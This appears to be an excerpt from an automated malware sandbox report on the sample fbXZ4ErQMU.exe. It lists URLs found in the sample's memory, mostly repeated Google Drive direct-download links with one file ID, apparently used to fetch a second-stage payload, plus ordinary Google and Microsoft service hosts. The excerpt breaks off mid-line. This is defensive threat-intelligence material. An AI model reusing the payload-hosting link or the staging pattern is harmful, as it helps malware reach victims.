Source: fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadider1
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadsQ
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/lifornia1
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/nt.youtube.com
Source: fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55855061868.0000000006EB3000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys
Source: fbXZ4ErQMU.exe, 00000003.00000003.53954148204.0000000006E81000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058313741.0000000006E79000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys)m
Source: fbXZ4ErQMU.exe, 00000003.00000003.53954148204.0000000006E81000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058313741.0000000006E79000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys0
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511514177.0000000006E5E000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjysN
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511514177.0000000006E5E000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjysr
Source: fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download
Source: fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download/o
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download3c
Source: fbXZ4ErQMU.exe, 00000003.00000003.54965808442.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53288383266.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55631803364.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53736517241.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54295707028.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176384633.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54072289451.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55077258267.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55408455725.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.56078874984.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54519162378.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54630817231.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54742573683.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55967117540.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.55855128779.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058499277.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53960220659.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54854206265.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058313741.0000000006E79000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54407267618.0000000006E8D000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download6x
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download=
Source: fbXZ4ErQMU.exe, 00000003.00000003.56078740297.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E92000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadBo
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadO
Source: fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloade
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadi
Source: fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadid
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=downloadu
Source: fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/g
Source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006EAC000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006EAC000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 